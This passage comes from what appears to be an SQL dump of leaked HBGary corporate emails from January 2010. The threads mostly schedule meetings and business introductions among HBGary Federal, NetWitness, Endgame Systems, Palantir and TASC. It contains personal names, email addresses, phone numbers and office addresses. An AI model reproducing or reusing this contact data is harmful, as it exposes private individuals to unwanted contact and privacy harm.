wrote:\r\nRich, would love to connect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI&#8217;m on the road Thursday and downtown all day Friday. &nbsp;\r\n\r\nI would like Tim and/or Brian to attend (probably more important that they attend than me even). &nbsp;We have our infrastructure now working to rip files out of network traffic and export them into a directory, where they can be ingested by a tool like yours. &nbsp;If for whatever reason tomorrow am doesn&#8217;t work for you guys, I suggest having the meeting without me and we can connect afterward. &nbsp;:+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week? &nbsp;Integration discussion &amp; I want to introduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n&nbsp;\r\nCan we get together this week to talk about some integration points of our technologies and some Govt contracts were going after this year? &nbsp;We&#8217;re getting into the services space with a new company we started in Nov called called HBGary Federal. &nbsp;This organization was started to do classified work and to extend the HBGary product line into that arena. &nbsp;&nbsp;HBGary&#8217;s CEO is Aaron Barr who comes to us from Northrop Grumman where he ran a book of business doing Information Operations for the last 15 or so years. &nbsp;&nbsp;\r\n&nbsp;\r\nI think we could team up to create some bleeding edge stuff. &nbsp;This week looks good for Aaron and I.\r\n&nbsp;\r\nThanks,\r\nRich \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited. If you have received this in error, please reply immediately to the sender and delete this message. Thank you. \r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n',14718,'aaron_hbgary_com/14718.html'),(1239,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000281.M860693P3547Q1239.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','What\'s your availability','To meet with endgames systems next tuesday or Wednesday.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',2927,'aaron_hbgary_com/2927.html'),(1240,'2010-01-19','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000282.M272389P3547Q1241.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: What\'s your availability','Either day is fine with me.  \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 3:58 PM\r\nTo: Matthew Steckman\r\nSubject: What\'s your availability\r\n\r\nTo meet with endgames systems next tuesday or Wednesday.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',5414,'aaron_hbgary_com/5414.html'),(1241,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000282.M49530P3547Q1240.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Meet this week? Integration discussion & I want to introduce CEO 	of HBGary Federal - Aaron Barr','Are u available tues or wed to meet with endgames and do a capabilities brief?AaronFrom my iPhoneOn Jan 19, 2010, at 2:10 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGreat thanks Amit and Brian.  Aaron and I can do tomorrow at 3PM. \r\nShould we come to the Netwitness office then?\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n   \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFor me tomorrow 11:30-1 or after 3.\r\nThursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt;\r\nwrote:\r\n\r\nRich, would love to connect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI’m on the road Thursday and downtown all day Friday.  \r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even).  We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours.  If for whatever reason tomorrow am doesn’t\r\nwork for you guys, I suggest having the meeting without me and we can connect\r\nafterward.  :+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week?  Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n \r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year?  We’re\r\ngetting into the services space with a new company we started in Nov called\r\ncalled HBGary Federal.  This organization was started to do classified\r\nwork and to extend the HBGary product line into that arena.\r\n  HBGary’s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years.   \r\n \r\nI think we could team up to create some bleeding edge stuff.  This week\r\nlooks good for Aaron and I.\r\n \r\nThanks,\r\nRich \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5199,'aaron_hbgary_com/5199.html'),(1242,'2010-01-19','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000282.M842928P3547Q1242.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meet this week? Integration discussion & I want to introduce CEO of HBGary Federal - Aaron Barr','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m booked all day tomorrow and Friday.&nbsp; How about\r\nThursday?\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 3:59 PM\r\nTo: Rich Cummings\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAre u available tues or wed to meet with endgames and do a\r\ncapabilities brief?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 2:10 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat\r\nthanks Amit and Brian.&nbsp; Aaron and I can do tomorrow at 3PM.&nbsp; Should\r\nwe come to the Netwitness office then?\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor me tomorrow\r\n11:30-1 or after 3. Thursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt; wrote:\r\n\r\nRich, would love to\r\nconnect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI&#8217;m on the road Thursday and downtown all day Friday. &nbsp;\r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even). &nbsp;We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours. &nbsp;If for whatever reason tomorrow am\r\ndoesn&#8217;t work for you guys, I suggest having the meeting without me and we\r\ncan connect afterward. &nbsp;:+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week? &nbsp;Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n&nbsp;\r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year?\r\n&nbsp;We&#8217;re getting into the services space with a new company we started\r\nin Nov called called HBGary Federal. &nbsp;This organization was started to do\r\nclassified work and to extend the HBGary product line into that arena.\r\n&nbsp;&nbsp;HBGary&#8217;s CEO is Aaron Barr who comes to us from Northrop\r\nGrumman where he ran a book of business doing Information Operations for the\r\nlast 15 or so years. &nbsp;&nbsp;\r\n&nbsp;\r\nI think we could team up to create some bleeding edge stuff. &nbsp;This week\r\nlooks good for Aaron and I.\r\n&nbsp;\r\nThanks,\r\nRich \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3759,'aaron_hbgary_com/3759.html'),(1243,'2010-01-19','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000283.M191308P3547Q1243.eml','aaron@hbgary.com','Re: Endgames / HB Gary Federal','Great meeting you. Look forward to advancing this relationship!\r\n\r\nJust confirmed other meeting for Wed morning. Can we do Tuesday afternoon or Wed afternoon with you and your CTO? Maybe Palantir after that. Thanks\r\n\r\nJohn\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Tue Jan 19 10:46:25 2010\nSubject: Re: Endgames / HB Gary Federal\r\n\r\nSure thing.\r\n\r\nGreenberry Coffeehouse\r\n6839 Redmond Dr\r\nMc Lean? VA\r\nUnited States\r\n\r\n From my iPhone\r\n\r\nOn Jan 19, 2010, at 11:43 AM, John Farrell  wrote:\r\n\r\n> Aaron,\r\n> It was good speaking with you. I look forward to meeting you at\r\n> 230pm today. Please send me the address for the office or coffee\r\n> shop and I\'ll see you there. Thanks\r\n> John\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n>\r\n> ----- Original Message -----\r\n> From: John Farrell\r\n> To: aaron@hbgary.com \r\n> Cc: Chris Rouland\r\n> Sent: Tue Jan 19 08:11:53 2010\r\n> Subject: Re: Endgames / HB Gary Federal\r\n>\r\n> Can you call me and we can discuss? Thanks\r\n> John\r\n> 7036229025\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: John Farrell\r\n> Cc: Chris Rouland\r\n> Sent: Tue Jan 19 06:56:52 2010\r\n> Subject: Re: Endgames / HB Gary Federal\r\n>\r\n> Hi John,\r\n>\r\n> What does your week look like, maybe we can find some time to get\r\n> together.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Jan 14, 2010, at 4:31 PM, Chris Rouland wrote:\r\n>\r\n>> John,\r\n>>\r\n>> I wanted to introduce you to Aaron Barr, the CEO of HBGary\r\n>> Federal.  This is a new company spun out of HB Gary focused on\r\n>> classified government services in our space.  Aaron may have an\r\n>> opportunity to work with us on a Cayman/Corsica data feed for the\r\n>> Army, as well as a few others.  Hopefully you guys can get together\r\n>> face to face soon in DC.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>> --\r\n>> Chris Rouland\r\n>> CEO\r\n>> Endgame Systems\r\n>> chris@endgames.us\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',16081,'aaron_hbgary_com/16081.html'),(1244,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000283.M396707P3547Q1244.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Meet this week? Integration discussion & I want to introduce CEO 	of HBGary Federal - Aaron Barr','Sorry meant to say next week.AaronFrom my iPhoneOn Jan 19, 2010, at 4:19 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI’m booked all day tomorrow and Friday.  How about\r\nThursday?\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 3:59 PM\r\nTo: Rich Cummings\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAre u available tues or wed to meet with endgames and do a\r\ncapabilities brief?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 2:10 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat\r\nthanks Amit and Brian.  Aaron and I can do tomorrow at 3PM.  Should\r\nwe come to the Netwitness office then?\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n  \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFor me tomorrow\r\n11:30-1 or after 3. Thursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt; wrote:\r\n\r\nRich, would love to\r\nconnect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI’m on the road Thursday and downtown all day Friday.  \r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even).  We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours.  If for whatever reason tomorrow am\r\ndoesn’t work for you guys, I suggest having the meeting without me and we\r\ncan connect afterward.  :+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\n\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week?  Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n \r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year?\r\n We’re getting into the services space with a new company we started\r\nin Nov called called HBGary Federal.  This organization was started to do\r\nclassified work and to extend the HBGary product line into that arena.\r\n  HBGary’s CEO is Aaron Barr who comes to us from Northrop\r\nGrumman where he ran a book of business doing Information Operations for the\r\nlast 15 or so years.   \r\n \r\nI think we could team up to create some bleeding edge stuff.  This week\r\nlooks good for Aaron and I.\r\n \r\nThanks,\r\nRich \r\n \r\n \r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13865,'aaron_hbgary_com/13865.html'),(1245,'2010-01-19','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000283.M686136P3547Q1245.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meet this week? Integration discussion & I want to introduce CEO of HBGary Federal - Aaron Barr','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBoth days are wide open next week right now.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:28 PM\r\nTo: Rich Cummings\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSorry meant to say next week.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 4:19 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m\r\nbooked all day tomorrow and Friday.&nbsp; How about Thursday?\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 3:59 PM\r\nTo: Rich Cummings\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAre\r\nu available tues or wed to meet with endgames and do a capabilities brief?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 2:10 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat\r\nthanks Amit and Brian.&nbsp; Aaron and I can do tomorrow at 3PM.&nbsp; Should\r\nwe come to the Netwitness office then?\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor me tomorrow\r\n11:30-1 or after 3. Thursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt; wrote:\r\n\r\nRich, would love to\r\nconnect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI&#8217;m on the road Thursday and downtown all day Friday. &nbsp;\r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even). &nbsp;We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours. &nbsp;If for whatever reason tomorrow am doesn&#8217;t\r\nwork for you guys, I suggest having the meeting without me and we can connect\r\nafterward. &nbsp;:+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week? &nbsp;Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n&nbsp;\r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year? &nbsp;We&#8217;re\r\ngetting into the services space with a new company we started in Nov called\r\ncalled HBGary Federal. &nbsp;This organization was started to do classified\r\nwork and to extend the HBGary product line into that arena.\r\n&nbsp;&nbsp;HBGary&#8217;s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years. &nbsp;&nbsp;\r\n&nbsp;\r\nI think we could team up to create some bleeding edge stuff. &nbsp;This week\r\nlooks good for Aaron and I.\r\n&nbsp;\r\nThanks,\r\nRich \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination, distribution,\r\nuse or copying of this message is strictly prohibited. If you have received\r\nthis in error, please reply immediately to the sender and delete this message.\r\nThank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',205,'aaron_hbgary_com/205.html'),(1246,'2010-01-19','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297000283.M881752P3547Q1246.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Congratulations','Aaron:\r\n\r\nGood to hear from you.\r\n\r\nI will have Irene set something up.\r\n\r\nLook forward to meeting with you.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 1:06 PM\r\nTo: Pisani, Albert A.\r\nSubject: Congratulations\r\n\r\nHi Al,\r\n\r\nI don\'t think I had yet congratulated you on your move to TASC.  I am\r\nsure some bumpy roads but sounds promising.\r\n\r\nDo you have some time to catch up?  I would like to tell you about some\r\nof the things I am thinking about and working on related to\r\ncybersecurity and information operations.  I am working to put together\r\na cooperative of small, innovative business with complementary\r\ntechnologies as one effort.  I think it could be promising.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4337,'aaron_hbgary_com/4337.html'),(1247,'2010-01-19','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297000284.M290401P3547Q1248.eml','\"Aaron Barr\" <aaron@hbgary.com>,Ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Re: Services contract for commercial IR services','Aaron / Ted\r\n \r\nI spoke today with Nolan Clifford.  He may be helpful with the contract terms for IR Services.  Nolan has an NDA with HBGary.\r\n \r\nNolan is available later this week or next to meet or speak with on the phone:\r\n \r\nYou may reach Nolan at (703) 945-7480.  Nolan is expecting your call.\r\n \r\nMaria\r\n \r\nNolan Clifford Bio\r\n\r\nCEO of Information Security Solutions LLC, providing a full range of security consulting services to US Federal, Global Public Sector and Commercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the Washington Federal Practice. Former Director of Information Assurance, General Dynamics Network Systems, National and Defense Intelligence Solutions and former Director of the Federal Security Practice at Unisys Corporation. Information Warfare Officer for the Naval Reserve Network Warfare Command. Former active duty Naval Cryptology Officer. CISSP. \r\n\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',10196,'aaron_hbgary_com/10196.html'),(1248,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000284.M535901P3547Q1249.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: What\'s your availability','Ok how about 330-430 tuesday. Palantir/HBGary/endgames\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 19, 2010, at 3:59 PM, Matthew Steckman  wrote:\r\n\r\n> Either day is fine with me.\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 19, 2010 3:58 PM\r\n> To: Matthew Steckman\r\n> Subject: What\'s your availability\r\n>\r\n> To meet with endgames systems next tuesday or Wednesday.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',2178,'aaron_hbgary_com/2178.html'),(1249,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000284.M724538P3547Q1250.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Meet this week? Integration discussion & I want to introduce CEO 	of HBGary Federal - Aaron Barr','Ok let&#39;s do Tuesday @ 1pm.-3 then go over to palantir at 330-430.From my iPhoneOn Jan 19, 2010, at 4:29 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nBoth days are wide open next week right now.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:28 PM\r\nTo: Rich Cummings\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSorry meant to say next week.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 4:19 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’m\r\nbooked all day tomorrow and Friday.  How about Thursday?\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, January 19, 2010 3:59 PM\r\nTo: Rich 